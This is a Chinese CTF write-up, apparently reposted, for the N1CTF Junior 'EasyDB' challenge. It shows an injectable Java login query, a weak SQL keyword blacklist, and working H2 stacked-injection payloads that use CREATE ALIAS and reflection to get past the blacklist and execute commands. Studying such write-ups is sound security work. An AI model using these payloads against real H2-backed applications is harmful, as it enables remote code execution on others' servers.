主页 > 其他  > 

CTF-web:java-h2堆叠注入rce--N1ctfJuniorEasyDB

CTF-web:java-h2堆叠注入rce--N1ctfJuniorEasyDB

代码存在sql注入

// 处理登录表单的POST请求 @PostMapping({"/login"}) public String handleLogin(@RequestParam String username, @RequestParam String password, HttpSession session, Model model) throws SQLException { // 验证用户凭据 if (this.userService.validateUser(username, password)) { session.setAttribute("username", username); // 将用户名存储在会话中 return "redirect:/"; // 验证成功,重定向到首页 } else { model.addAttribute("error", "Invalid username or password"); // 添加错误消息到模型 return "login"; // 返回登录视图 } } // 声明一个方法来验证用户的凭据 public boolean validateUser(String username, String password) throws SQLException { // 使用格式化字符串构建SQL查询语句 String query = String.format("SELECT * FROM users WHERE username = '%s' AND password = '%s'", username, password); // 检查生成的查询是否安全,防止SQL注入 if (!SecurityUtils.check(query)) { return false; // 如果查询不安全,返回false } else { Throwable var8; // 声明一个Throwable变量,用于异常处理 // 使用try-with-resources语句自动管理Statement资源 try (Statement stmt = this.connection.createStatement()) { // 执行SQL查询 stmt.executeQuery(query); // 获取结果集 ResultSet resultSet = stmt.getResultSet(); Throwable var7 = null; // 声明一个Throwable变量,用于捕获异常 try { // 检查结果集是否有下一条记录(即用户是否存在) var8 = resultSet.next(); } catch (Throwable var31) { var8 = var31; // 捕获异常 var7 = var31; // 将异常赋值给var7以便后续处理 throw var31; // 重新抛出异常 } finally { // 确保结果集在使用完后被关闭 if (resultSet != null) { if (var7 != null) { // 如果有异常,处理异常 try { resultSet.close(); // 关闭结果集 } catch (Throwable var30) { var7.addSuppressed(var30); // 将异常添加到已捕获的异常中 } } else { resultSet.close(); // 正常关闭结果集 } } } } } }

SELECT * FROM users WHERE username = '%s' AND password = '%s'

// 定义一个名为SecurityUtils的公共类 public class SecurityUtils { // 使用HashSet存储不安全的SQL关键字,避免SQL注入攻击 private static final HashSet<String> blackLists = new HashSet<>(); // 默认构造函数 public SecurityUtils() { } // 检查给定的SQL语句是否包含黑名单中的关键字 public static boolean check(String sql) { // 遍历黑名单中的每一个关键字 for (String keyword : blackLists) { // 将SQL语句转换为小写并检查是否包含黑名单关键字 if (sql.toLowerCase().contains(keyword)) { return false; // 如果发现关键字,返回false,表示SQL不安全 } } // 如果没有发现黑名单关键字,返回true,表示SQL是安全的 return true; } } static { blackLists.add("runtime"); blackLists.add("process"); blackLists.add("exec"); blackLists.add("shell"); blackLists.add("file"); blackLists.add("script"); blackLists.add("groovy"); }

使用堆叠注入rec,其标准利用形式如下

CREATE ALIAS EXEC AS ' String shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd); return "su18"; }'; CALL EXEC('command');

按如下方式绕过waf

1.将被过滤的字符串拆分 2.Class<?> 声明通用类型的 Class 对象,使用Class.forName动态加载类赋值 3.因为过滤了runtime,使用getMethod将Runtime.getRuntime方法反射后调用,这样可以不使用Runtime.getRuntime().exec(cmd)

CREATE ALIAS evil AS $$ void jerry(String cmd) throws Exception { String R = "R" + "untime"; Class<?> c = Class.forName("java.lang." + R); Object rt = c.getMethod("get" + R).invoke(null);//实例化 c.getMethod("exe" + "c", String.class).invoke(rt, cmd);//rt.exec(cmd) } $$; CALL evil('command'); $$...$$ 是一种用于定义 字符串常量 或 函数体 的 定界符(delimiter)。它允许你在字符串或函数体中包含引号、换行符和其他特殊字符,而无需对这些字符进行转义。invoke 方法用于调用获取到的方法。它的第一个参数是方法的调用者对象,第二个及以后的参数是方法的参数。 参考

2025 N1CTF Junior Web 方向全解 | J1rrY’s Blog JDBC-Attack 利用汇总 - Boogiepop Doesn’t Laugh

标签:

CTF-web:java-h2堆叠注入rce--N1ctfJuniorEasyDB由讯客互联其他栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“CTF-web:java-h2堆叠注入rce--N1ctfJuniorEasyDB